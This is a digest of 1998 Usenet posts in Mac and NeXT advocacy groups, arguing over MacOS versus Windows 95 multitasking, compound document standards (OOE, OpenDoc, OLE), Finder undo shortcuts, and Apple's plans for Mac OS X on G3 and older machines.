Message-ID: <slrn6rjs21.3h2.jason@jhste1.dyn.ml.org>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <35B8D9F4.D6C93C1@ericsson.com> <joe.ragosta-2407981626250001@wil51.dol.net> <35B8F293.F58D0926@ericsson.com> <6pbia6$mbj@newsb.netnews.att.com> <6pckts$au$1@nnrp03.primenet.com>
John Jensen posted the following to comp.sys.mac.advocacy:
>: I haven't tried it, but doesn't PPC-Linux run on the G3s ?
>: Since that is open-source code, I would imagine that what
>: you need to know to run an OS on the G3 machines is in the
>: public domain.
>I'm not sure the current state. At some points MkLinux has "run" on
>machines without having graphics or sound or even floppy support.
>Does anyone know if all pertinent driver information is in the Linux
>release, or is this just hearsay?
The source for the kernel is available for download. Judge for
yourself.
ftp://ftp.linuxppc.org/mirrors/pmac/
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Q: OOE - Compound Document Standard
Date: 25 Jul 1998 06:42:50 GMT
Organization: MiscKit Development
Message-ID: <6pbupa$avt$1@news.xmission.com>
References: <mscu1.66997$E5.9893250@proxye1.san.rr.com>
NNTP-Posting-Date: 25 Jul 1998 06:42:50 GMT
"Ed Deans." <eadeans@san.rr.com> wrote:
> [... Xanthus OOE ...].
>
> What happened with OOE? What were its pro's and con's?
Fairly dead, due to the factors you observed.
One of OOE's cons is that to edit an embedded object, it launches the editor
app and you switch to that app to work. You don't do "in place" editing like
OpenDoc allowed. Due to the design of the NeXT GUI, this difference was not
as pronounced as you might think, but it did still feel a teensy bit clunky
to me. Still, at least things _did_ interoperate well. That's better than
you can say for most Windoze apps that are all coming from the same vendor...
> How did it compare, as a compound document standard, with OLE and OpenDoc?
I think OpenDoc has a better user interface, as I've already noted. OOE was
really easy for programmers (if you could use the pasteboard and DO, then OOE
was trivially easy to learn...and the pasteboard and DO are really easy to
learn, so...). From what I've seen of OpenDoc, the programmer API isn't as
nice--at least in part due to the fault of C++. It seems that Objective-C
allows some API contructs that simplify things immensely. And as to OLE, do
you even have to ask? The UI is sub-par and the API is atrocious. So, to
sum up my experience:
UI API
-------- -------- -------
OpenDoc Good OK
OOE OK Good
OLE Poor Poor
But that's just my opinion...
> What are some better solutions?
Keep your eye on Stepwise. I'm working with Pat Taylor on an article that
proposes something along these lines. I've talked with a few developers that
like the idea(s) that we've come up with, so if everyone takes it and runs
with it...
BTW, the proposal is mostly a way to tie existing Yellow Box technologies
together to obtain something that is functionally similar to OpenDoc. Much
of what you need is already part of YB and with DR2 even more bits are
provided. What is missing is a standardized "glue" to hold it all together,
so the most valuable thing we can do right now is identify where we want to
go with this and what is missing that needs to be done to get us there.
So keep watching for it on Stepwise...once the article is posted, I'll open
up a mailing list and web area on of.org to promote discussion and open
source development of a "standard" for Yellow Box.
Now I've got to get cracking!
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Sun, 26 Jul 1998 00:52:40 +1000
Organization: University of Queensland
Message-ID: <6pcrg9$n3d$1@bunyip.cc.uq.edu.au>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <1dco1vu.1tcsxcs13uk71oN@hoorn23.multiweb.net> <Pine.SOL.3.96.980724134947.26891A-100000@ux8.cso.uiuc.edu> <6pb7pl$9gv$1@plo.sierra.com> <35B984CF.936A1763@nstar.net> <Macghod-2507980722450001@sdn-ar-001casbarp002.dialsprint.net>
Steve Sullivan <Macghod@concentric.net> wrote in message
Macghod-2507980722450001@sdn-ar-001casbarp002.dialsprint.net...
>In article <35B984CF.936A1763@nstar.net>, Michael Peck <mjpeck@nstar.net>
wrote:
>
>> Earl Malmrose wrote:
>> >
>> > Pulsar wrote in message ...
>> > >
>> > >No undo in the Finder except for file renaming. (This is a big one I
>> > >think.)
>> >
>> > How do you undo a file renaming in the Finder?
>>
>> Ctrl-Z.
>
>Close but no cigar. Try two keys over.
Huh ? I thought Ctrl-Z was undo in MacOS, like it is in Windows ?
>
>--
>Joe [Ragosta], do not look directly at the RDF. What you want
>to do is punch a hole in a piece of cardboard and
>make a pin-hole camera to observe the RDF from a safe distance.
>- Sal Denaro
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Sat, 25 Jul 1998 08:55:24 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2507980855240001@pm3a23.rmac.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com>
NNTP-Posting-Date: 25 Jul 1998 14:53:16 GMT
In article <6pc9b1$8qd$1@nnrp1.dejanews.com>, quinlan@my-dejanews.com wrote:
> In article <Josh.McKee-2407981743100001@pm3a13.rmac.net>,
> Josh.McKee@cbns.com (Joshua T. McKee) wrote:
>
> > Why does it have to be worse? When the multitasking stops, it's about as
> > bad as it gets.
>
> You claimed that Windows 95 multitasking was about as good as MacOS
> multitasking. I can name many instances where Windows 95 multitasking is
> better than MacOS multitasking but you can't seem to identify the converse.
> How can something be about as good when it is inferior in many respects and
> superior in none?
OK...name a situation where the Macs multitasking is worse than Windows 95.
Josh
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sat, 25 Jul 1998 11:12:52 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2507981112520001@pm3a7.rmac.net>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <not-2307981301280001@ip-167-019.phx.primenet.com> <mcox-ya02408000R2407982314330001@newsource.ihug.co.nz> <not-2407981312520001@ip-26-162.phx.primenet.com> <mcox-ya02408000R2507981113400001@newsource.ihug.co.nz> <35b9372a.0@news.depaul.edu>
NNTP-Posting-Date: 25 Jul 1998 17:10:44 GMT
In article <35b9372a.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
> That's not a marketing deadline. That's a survival deadline. If Apple
> doesn't ship it, they're dead. Period. No waffling is allowed.
Why is it a survival deadline? We've been told by numerous people that
all pre-G3 Mac owners will be able to continue to run Mac OS 8.x (with
Carbon support). Thus, they reall don't *need* to run Mac OS X. So if
all the people that *need* to run OS X are so small, then why the
"survival" deadline? I can't imagine that every new G3 owner *needs* to
run OS X.
It doesn't make sense.
Josh
From: Kristofer Jon Magnusson <kris@xmission.xmission.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 25 Jul 1998 17:26:49 GMT
Organization: XMission Internet http://www.xmission.com
Message-ID: <6pd4gp$a9d$1@news.xmission.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <Pine.NXT.3.96.980724125137.20132J-100000@pathos> <35B8D9F4.D6C93C1@ericsson.com> <joe.ragosta-2407981626250001@wil51.dol.net> <6pbko2$jvn$1@news.xmission.com> <joe.ragosta-2507980655350001@elk43.dol.net>
NNTP-Posting-Date: 25 Jul 1998 17:26:49 GMT
In comp.sys.next.advocacy Joe Ragosta <joe.ragosta@dol.net> wrote:
> In article <6pbko2$jvn$1@news.xmission.com>, Kristofer Jon Magnusson
> <kris@xmission.xmission.com> wrote:
> > In comp.sys.next.advocacy Joe Ragosta <joe.ragosta@dol.net> wrote:
> >
> > > Novell dropped Netware for PPC.
> > > APPLE HAD NOTHING TO DO WITH [Novell dropping the PPC arch.]
> >
> > You don't know what you are talking about.
> >
> Nice rebuttal. I present a bunch of facts and you just mouth off. Care to
> be specific?
More specific, you ask? Not a problem.
You weren't at Novell when Novell dropped the PPC product.
You weren't on the development team at Novell that created the product.
You weren't on the QA team who tested the product.
You weren't on the management team at Novell that made the decision to
kill the project.
You don't even know any of the people at Novell who worked on the project.
What you DO know is suspect.
So you don't know what you are talking about.
.............kris
--
Kristofer Jon Magnusson <kris@xmission.com>
"NASA and its partners have identified vacuum
as a major attribute of space."
From: Kristofer Jon Magnusson <kris@xmission.xmission.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 25 Jul 1998 17:27:57 GMT
Organization: XMission Internet http://www.xmission.com
Message-ID: <6pd4it$a9d$2@news.xmission.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <Pine.NXT.3.96.980724125137.20132J-100000@pathos> <35B8D9F4.D6C93C1@ericsson.com> <joe.ragosta-2407981626250001@wil51.dol.net> <6pbko2$jvn$1@news.xmission.com> <MPG.10239959b4d252439899f6@news.supernews.com>
NNTP-Posting-Date: 25 Jul 1998 17:27:57 GMT
In comp.sys.next.advocacy Donald Brown <don.brown@cesoft.com> wrote:
> In article <6pbko2$jvn$1@news.xmission.com>, kris@xmission.xmission.com
> says...
> > In comp.sys.next.advocacy Joe Ragosta <joe.ragosta@dol.net> wrote:
> >
> > > Novell dropped Netware for PPC.
> > > APPLE HAD NOTHING TO DO WITH [Novell dropping the PPC arch.]
> >
> > You don't know what you are talking about.
> Then enlighten us. What did Apple have to do with Novell dropping
> support for Netware for PPC?
Can't. I don't speak for Novell, can't tell you anything about it other
than Joe is dead-on wrong.
--
Kristofer Jon Magnusson <kris@xmission.com>
"NASA and its partners have identified vacuum
as a major attribute of space."
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Sun, 26 Jul 1998 03:27:32 +1000
Organization: University of Queensland
Message-ID: <6pd4ik$9h1$1@bunyip.cc.uq.edu.au>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <1dco1vu.1tcsxcs13uk71oN@hoorn23.multiweb.net> <Pine.SOL.3.96.980724134947.26891A-100000@ux8.cso.uiuc.edu> <6pb7pl$9gv$1@plo.sierra.com> <35B984CF.936A1763@nstar.net> <Macghod-2507980722450001@sdn-ar-001casbarp002.dialsprint.net> <35B9F4D5.69EABE8A@nstar.net>
Michael Peck <mjpeck@nstar.net> wrote in message
35B9F4D5.69EABE8A@nstar.net...
>Steve Sullivan wrote:
>
>> > Ctrl-Z.
>>
>> Close but no cigar. Try two keys over.
>
>Ah, quite right. Been using Windows for too long.
So Ctrl+C is undo a file rename ? Why on Earth isn't it Ctrl+Z ?
>
>MJP
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Q: OOE - Compound Document Standard
Date: 25 Jul 1998 17:35:09 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6pd50d$p78@newsb.netnews.att.com>
References: <mscu1.66997$E5.9893250@proxye1.san.rr.com> <6pbupa$avt$1@news.xmission.com>
Originator: gupta@tlctest
Don Yacktman <don@misckit.com> wrote:
>you even have to ask? The UI is sub-par and the API is atrocious. So, to
>sum up my experience:
>
> UI API
>-------- -------- -------
>OpenDoc Good OK
>OOE OK Good
>OLE Poor Poor
Speaking of OLE, your comments on the following essay about OLE :
http://www.relisoft.com/win32/olerant.html
would be welcome. :-)
-arun gupta
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.next.advocacy
Subject: MacOS feature
Date: 25 Jul 1998 17:40:57 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6pd5b9$p7g@newsb.netnews.att.com>
Originator: gupta@tlctest
One nice feature that the MacOS has because of its being able
to store meta-information about a file is, if you download a file
from the Internet (at least with Netscape), and use the GetInfo
(Command-I) on the file, the comments field has the URL of the
file.
E.g., downloading a file for somebody, I have "1ac.zip" on
my desktop, and
ftp://mirrors.blue.aol.com/mir02/UWP/pub/msdos/games/apogee/1ac.zip
in the comments field.
-arun gupta
From: tbrown@netset.com (Ted Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sat, 25 Jul 1998 15:13:05 -0400
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <tbrown-2507981513060001@mv202.axom.com>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <not-2307981301280001@ip-167-019.phx.primenet.com> <mcox-ya02408000R2407982314330001@newsource.ihug.co.nz> <not-2407981312520001@ip-26-162.phx.primenet.com> <mcox-ya02408000R2507981113400001@newsource.ihug.co.nz> <35b9372a.0@news.depaul.edu> <mcox-ya02408000R2507981604510001@newsource.ihug.co.nz>
In article <mcox-ya02408000R2507981604510001@newsource.ihug.co.nz>,
mcox@ihug.co.nz (Martin Cox) wrote:
>>Not shipping OS/X in time would be much, much worse news than not
>>supporting pre-G3's.
>
>Depends how long after it actually ships. If it slips a month or two no-one
>will be overly concerned - except those Apple-bashers who inhabit the
>media.
Especially since there is no reson that the inital release of OS X
couldn't just support the G3 Macs, then release an update 3 months later
that supported the older macs.
Due to the underpinnings of OS X, supporting the 604[e] Macs (one
motherboard, with maybe a few varient tweaks) can't be all that bad. I'm
not a Mach guru or anything, but the foundation is clean, the IOKit makes
it a 'snap' (according to apple) to write drivers. How hard can it be to
support a motherboard that already runs Rhapsody? The developers will
even provide the testbed!
And, aside from the customer standpoint, Apple told developers they had to
buy those 604 machines because the DR releases of Rhapsody didn't run on
the G3 machines. Apple's not going to get anyway until they stop
screwing their developers. Not supproting machines developers bought to
support Apple's advanced OS plans is sticking it to them. Not supporting
Intel hw is another low blow as well. Maybe Apple will revist the OS X
(no Carbon, no blue) on Intel once they get OS X out the door. I can
understand a narrowing of focus, but it seems that Apple is hurting the
long term for some short term bonuses. Apple's no longer on life
support, they should be laying the groundwork for the future in order to
grow sales.
If cost is an issue in regards to Intel (and I really think sales would
justify OS X Intel), wander over to Intel and ask for a handout and a few
engineeers. Besides, it's the best way to get ready for Merced (just in
case).
I'm stuck with another reason. OS X and OS 9 should cost about the same.
OS 9 will have to support the 604 macs. The people who'd upgrade will
most likely upgrade to the option they are given. That is, Apple would
sell just as many OS X upgrades to 604 machines as they will sell OS 9
upgrades (since it's their only option). Why go to the effort when they
can make just as much money selling them OS 9? Then, if there is still
widespread complaints, Apple can write OS X.I and sell them that. TWO
upgrades for the same amount of work. And they'll be HAPPY as Apple
listened to them and supported their machine!
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sat, 25 Jul 1998 10:07:06 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35B9F49A.9BEA2811@nstar.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <Pine.NXT.3.96.980724125137.20132J-100000@pathos> <35B8D9F4.D6C93C1@ericsson.com> <joe.ragosta-2407981626250001@wil51.dol.net> <35B8F293.F58D0926@ericsson.com> <MPG.1023982d4aa606579899f4@news.supernews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 25 Jul 1998 15:17:07 GMT
Donald Brown wrote:
> What did Apple have to do with the dropping of OS/2, NT, Solaris,
> Netware, and Be? I think you may be right about Motorola, but one out of
> six isn't "all of these things".
When was the CHRP-compliant MacOS released? When was CHRP-compliant
Macintosh hardware released? The operating systems you name above were
relying on the availability of cheap PPC hardware made common by the
presence of MacOS in the same hardware market. It never happened, and it
was obvious that it would not ever happen, from steps Apple took from
1994 to 1997 with the end of cloning. If Apple hadn't already decided,
in 1995, that it was not going to participate in CHRP and an open OS
market, then it was being particularly stupid.
MJP
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Sat, 25 Jul 1998 10:08:05 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35B9F4D5.69EABE8A@nstar.net>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <1dco1vu.1tcsxcs13uk71oN@hoorn23.multiweb.net> <Pine.SOL.3.96.980724134947.26891A-100000@ux8.cso.uiuc.edu> <6pb7pl$9gv$1@plo.sierra.com> <35B984CF.936A1763@nstar.net> <Macghod-2507980722450001@sdn-ar-001casbarp002.dialsprint.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 25 Jul 1998 15:18:04 GMT
Steve Sullivan wrote:
> > Ctrl-Z.
>
> Close but no cigar. Try two keys over.
Ah, quite right. Been using Windows for too long.
MJP
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Sat, 25 Jul 1998 09:17:01 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2507980917010001@pm3a23.rmac.net>
References: <6or4sj$83a$1@supernews.com> <alex-1807981924120001@castle.webis.net> <6ori3d$sbi$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ou35v$h4l$1@nnrp1.dejanews.com> <Josh.McKee-2107981925440001@pm3a2.rmac.net> <gmgraves-2207981043260001@sf-usr1-22-150.dialup.slip.net> <6p5mqd$nsu$1@nnrp1.dejanews.com> <Josh.McKee-2307981810170001@pm3a8.rmac.net> <6p9acg$o8n$1@nnrp1.dejanews.com> <Josh.McKee-2407981748590001@pm3a13.rmac.net> <6pc954$8or$1@nnrp1.dejanews.com>
NNTP-Posting-Date: 25 Jul 1998 15:14:54 GMT
In article <6pc954$8or$1@nnrp1.dejanews.com>, quinlan@my-dejanews.com wrote:
> In article <Josh.McKee-2407981748590001@pm3a13.rmac.net>,
> Josh.McKee@cbns.com (Joshua T. McKee) wrote:
>
> > Of course it has...just like the Mac doesn't multitask while doing
> > processor intensive tasks like others have claimed. Nothing personal
> > against you, but my experience has shown that most Windows users are
> > talking out their ass when it comes to the Mac. Not saying that you're
> > doing this, but I always have my doubts.
>
> Mac multitasking sucks will doing processor intensive tasks. The applications
> are responsible for scheduling and they don't have enough information to do it
> well even if they are properly designed. BTW, I am both a Mac and a Windows
> user. I am also an expert Mac programmer and know a lot about the MacOS.
This claim was made a few weeks ago, and I disproved it. Specfically, the
poster said the Mac couldn't perform Photoshop filters while downloading.
So I did exactly that. And, since that was working so well, I also:
1. Loaded Word 5.1a and started doing some typing.
2. Played around in the Finder.
3. Went back to MT News Watcher to write my reponse saying that I was
doing all of this at the same time.
I hope you will agree that applying filters in Photoshop is a processor
intensive task. As such, just because a task is processor intensive does
not mean the Macs multitasking breaks.
As for responsiveness, the system was quite responsive...this on a Power
Mac 8100/80.
As I've said...it works better than most PC advocates give it credit for.
> > They say that this should not be allowed...yet their
> > precious Windows 95 falls prey to it as well. As such, does Windows 95
> > really have PMT if it can be blocked?
>
> Yes.
I'd say at best it partially does. If it can be blocked, then it ain't
true PMT, IMO. Likewise, if it can be blocked, then the cheif complaint
of the PC crowd holds true for Windows 95 as well: That tasks can be
starved due to application blocking.
> > And, Windows 95 itself still has 16 bit code for certain parts, thus the
> > OS itself can block the multitasking.
>
> Every OS must block multitasking while executing certain code.
This might be a good arguement if the blocking was really done while
executing certain code. But the blocking is done due to the OS executing
16 bit code within itself. The only reason for the blocking is that the
OS is executing 16 bit code.
Likewise, I was using IE 4.01 SP1 on a Windows 95B system the other day.
We're developing a new website at work with Javascript. Guess what
happened while executing some JavaScript? The system (the entire system)
froze.
Josh
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Sun, 26 Jul 1998 03:30:31 +1000
Organization: University of Queensland
Message-ID: <6pd4o8$pn2$1@bunyip.cc.uq.edu.au>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net>
Joshua T. McKee <Josh.McKee@cbns.com> wrote in message
Josh.McKee-2507980855240001@pm3a23.rmac.net...
>In article <6pc9b1$8qd$1@nnrp1.dejanews.com>, quinlan@my-dejanews.com
wrote:
>
>> In article <Josh.McKee-2407981743100001@pm3a13.rmac.net>,
>> Josh.McKee@cbns.com (Joshua T. McKee) wrote:
>>
>> > Why does it have to be worse? When the multitasking stops, it's about
as
>> > bad as it gets.
>>
>> You claimed that Windows 95 multitasking was about as good as MacOS
>> multitasking. I can name many instances where Windows 95 multitasking is
>> better than MacOS multitasking but you can't seem to identify the
converse.
>> How can something be about as good when it is inferior in many respects
and
>> superior in none?
>
>
>OK...name a situation where the Macs multitasking is worse than Windows 95.
Writing a CD.
>
>Josh
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 24 Jul 1998 18:24:59 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6pajhr$nj6$1@news.spacelab.net>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc <andyba-ya02408000R2207981149400001@news> <6p6qnj$fs21@Talisker.taide.net> <andyba-ya02408000R2307981327300001@news>
andyba@corp.webtv.net (Andy Bates) wrote:
>In article <6p6qnj$fs21@Talisker.taide.net>, malte@oops.se (Malte Tancred)
>wrote:
[ ... ]
>> Your argument is in most cases good for a file based application,
>> but take a database application for example. It might not have the
>> concept of a file.
>
>Why not? Databases are files! They may be dynamically-linked relational
>databases, but they are still files!
Umm. Is a Oracle database in a raw Unix partition a file?
I don't know whether this is nitpicking or not, but I'd claim that there
aren't any files in a partition which doesn't have a filesystem-- just a
sequential range of disk sectors.
>> I believe most people in the NeXT community have a few of these
>> complaints on other OSes. Once you become familiar with the concepts
>> of the NeXT UI you easily get caught. Why? Because it is a very
>> well designed and well thought-out UI. I don't say it is perfect,
>> I just say it is good.
>
>I agree that it is good. However, I do not agree that every element of the
>NeXT UI is necessarily better than every element of every other UI.
Sure. Nobody I know has ever claimed that the NeXT UI is perfect, or that it
couldn't use some updating and modernization. We'll have to see how the
final look of MacOS X Server does....
[ ... ]
>Again, could you give me an example of something that you would print that
>is NOT file-related?
Let's say you've got a network packet sniffer going. Until you save that
data somewhere, it's not associated with any file on a filesystem, yet it
makes sense to be able to print a particular packet you're interested in.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Sat, 25 Jul 1998 17:26:56 -0500
Organization: Prairie Group
Message-ID: <MPG.102417abebbe2be9989a03@news.supernews.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net>
In article <Josh.McKee-2507980855240001@pm3a23.rmac.net>,
Josh.McKee@cbns.com says...
> > How can something be about as good when it is inferior in many respects and
> > superior in none?
>
>
> OK...name a situation where the Macs multitasking is worse than Windows 95.
>
Open App. Select "Open..." from the File menu. Try to switch back to
Finder or equivalent to search for the file (without cancelling).
Start floppy formatting in Finder or equivalent. Try to switch to an
app.
Start the Finder or equivalent copying files off of a network volume.
Switch to Word and start typing. Pull out Ethernet connection.
Are these life-changing problems? Of course not. But they are there.
Donald
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS feature
Date: 27 Jul 1998 02:19:49 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6pgo45$1t0@newsb.netnews.att.com>
References: <6pd5b9$p7g@newsb.netnews.att.com> <1dcsk5c.ov5boc0x5baN@quern.demon.co.uk>
Originator: gupta@tlctest
Jonathan Sanderson <jonathan@quern.demon.co.uk> wrote:
><gupta@kcopsrm.tm.tta.moc-mirror> wrote:
>
>> One nice feature that the MacOS has because of its being able
>> to store meta-information about a file is, if you download a file
>
>I'm very happy for it. So?
So ? Isn't this an advocacy forum ?
>However - HFS+ permits all sorts of fun things with metadata, I think
>using a derivative of the old HotSauce MCF format. Thus far, we've seen
>nothing built on this potential - anyone have any thoughts?
That would be interesting. BTW, according to the latest
InfoWorld Electric, NTFS's streams present a security hazard.
Would HFS+ have similar problems ?
-arun gupta
Subject: Re: '97 Mac entrant feels shafted <--but isn't
From: "Gary Curtis" <gcurtis@abs.net>
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
nntp://news.abs.net/comp.sys.next.advocacy,
nntp://news.abs.net/comp.sys.mac.advocacy
References: <MPG.10256a18e0cf88e989a1d@news.supernews.com>
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<SMALLER> wrote:
</SMALLER><X-FONTSIZE><PARAM>12</PARAM>> > I don't buy this for a
